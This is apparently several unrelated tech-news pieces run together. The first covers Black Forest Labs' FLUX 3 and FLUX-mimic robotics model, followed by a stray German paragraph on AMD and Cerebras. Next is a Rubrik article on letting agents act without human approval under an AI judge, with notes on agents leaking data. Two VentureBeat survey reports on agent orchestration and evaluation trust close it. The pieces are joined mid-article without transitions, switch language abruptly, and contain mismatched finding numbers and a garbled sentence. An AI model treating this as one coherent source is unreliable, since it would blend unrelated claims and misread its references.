FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

Open weights helped make FLUX an industry standard

BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

Es ist eine Ankündigung, die keiner auf der Bingo-Karte hatte: AMD kooperiert mit Cerebras für eine Ultra-Low-Latency-Inference-Datacenter-Struktur. Dafür wird das neue AMD-Helios-Rack mit Cerebras Wafer-Scale Engine gepaart, was zu einer fünf Mal höheren Anzahl an Tokens pro Sekunde pro Watt führen soll. Noch 2026 geht es los.

“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.

YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"

Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep.

"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.

SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.

Security approval, not cost, blocks AI ROI

Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard.

Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."

VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision.

One AI reading what the rulebook can't

Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.

The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.

Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.

When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.

SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.

The lethal trifecta

Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.

Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.

A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.

The attacks no single turn reveals

Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.

Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.

A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.

Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?

Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 

The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

Finding 6: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 7: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 8: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 9: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.

The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.

What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).

At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.

Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.

Finding 1: A passing eval is not a working agent

Half have shipped an agent that passed evals, then failed a customer

We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.

This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.

Finding 2: Almost no one fully trusts automated evaluation

The top complaint: Evals don't match real-world outcomes

We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.

Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.

Finding 3: The autonomy ceiling is rising anyway

Two-thirds already allow, or are building toward, zero-human deployment

We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.

Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.

Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 

Finding 4: The evaluation stack is fragmented and provider-led

Provider-native evals lead — tied with no dedicated tool at all

We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.

The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.

Finding 5: Production monitoring rarely watches output quality

Only a quarter run real-time quality checks on live traffic

Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.

Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.

Finding 6: Bought on cost, measured on consistency

Price and integration drive selection; evaluation consistency is the goal

We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.

Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.

Finding 7: The next dollar goes to humans and observability

Investment is flowing to oversight, not just automation

We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.

The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing.

Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.

Finding 8: A tooling reshuffle is coming

Nearly two-thirds plan to adopt or switch platforms within a year

We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.

The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint.

